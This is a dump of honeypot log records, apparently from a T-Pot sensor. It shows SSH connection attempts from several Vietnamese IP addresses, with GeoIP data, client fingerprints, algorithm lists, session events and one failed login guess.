"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 32776, "dest_port": 22, "timestamp": "2021-09-20T11:13:48.469349", "@timestamp": "2021-09-20T11:13:48.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27067	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:49.270883+03	2021-09-20 14:15:14.091644+03	{"_id": "HgbpAnwBvYTbRNuEgCbd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ab9879e1ebe8", "@version": "1", "duration": 2.7435617446899414, "timestamp": "2021-09-20T11:13:49.270883Z", "@timestamp": "2021-09-20T11:13:49.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27068	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:49.193337+03	2021-09-20 14:15:14.093674+03	{"_id": "IwbpAnwBvYTbRNuEgCbe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:55634 (192.168.176.2:22) [session: 3f22bd74dc47]", "session": "3f22bd74dc47", "@version": "1", "protocol": "ssh", "src_port": 55634, "dest_port": 22, "timestamp": "2021-09-20T11:13:49.193337Z", "@timestamp": "2021-09-20T11:13:49.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27069	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:50.314777+03	2021-09-20 14:15:14.095647+03	{"_id": "LAbpAnwBvYTbRNuEhCYN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 32962, "dest_port": 22, "timestamp": "2021-09-20T11:13:50.314777", "@timestamp": "2021-09-20T11:13:50.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27070	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:49.931408+03	2021-09-20 14:15:14.096679+03	{"_id": "LQbpAnwBvYTbRNuEhCbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "96b5e98af180", "@version": "1", "duration": 6.555265426635742, "timestamp": "2021-09-20T11:13:49.931408Z", "@timestamp": "2021-09-20T11:13:49.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27071	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:49.956121+03	2021-09-20 14:15:14.097674+03	{"_id": "LgbpAnwBvYTbRNuEhCbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "852f104dc596", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:49.956121Z", "@timestamp": "2021-09-20T11:13:49.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27077	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:50.2327+03	2021-09-20 14:15:14.105674+03	{"_id": "RwbpAnwBvYTbRNuEhibE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1603212187358233, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32962, "dest_port": 22, "timestamp": "2021-09-20T11:13:50.232700Z", "@timestamp": "2021-09-20T11:13:50.232Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27072	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:50.315611+03	2021-09-20 14:15:14.098644+03	{"_id": "LwbpAnwBvYTbRNuEhCbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "852f104dc596", "@version": "1", "timestamp": "2021-09-20T11:13:50.315611Z", "@timestamp": "2021-09-20T11:13:50.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27073	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:50.486737+03	2021-09-20 14:15:14.100674+03	{"_id": "MAbpAnwBvYTbRNuEhCbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "ab299821dfac", "@version": "1", "duration": 5.532567262649536, "timestamp": "2021-09-20T11:13:50.486737Z", "@timestamp": "2021-09-20T11:13:50.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27074	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:50.672827+03	2021-09-20 14:15:14.101675+03	{"_id": "MQbpAnwBvYTbRNuEhCbI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bf9a4d589c8a", "@version": "1", "timestamp": "2021-09-20T11:13:50.672827Z", "@timestamp": "2021-09-20T11:13:50.672Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27075	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:49.741899+03	2021-09-20 14:15:14.103647+03	{"_id": "QwbpAnwBvYTbRNuEhCbL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/P@ssw0rd] failed", "session": "a4271fb33a4e", "@version": "1", "password": "P@ssw0rd", "username": "admin", "timestamp": "2021-09-20T11:13:49.741899Z", "@timestamp": "2021-09-20T11:13:49.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27076	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:50.378872+03	2021-09-20 14:15:14.104683+03	{"_id": "RAbpAnwBvYTbRNuEhCbL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bf9a4d589c8a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:50.378872Z", "@timestamp": "2021-09-20T11:13:50.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27078	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:50.989262+03	2021-09-20 14:15:14.106675+03	{"_id": "SQbpAnwBvYTbRNuEhyb4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "13.75.108.119", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59491, "timestamp": "2021-09-20T11:13:50.989262", "@timestamp": "2021-09-20T11:13:50.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
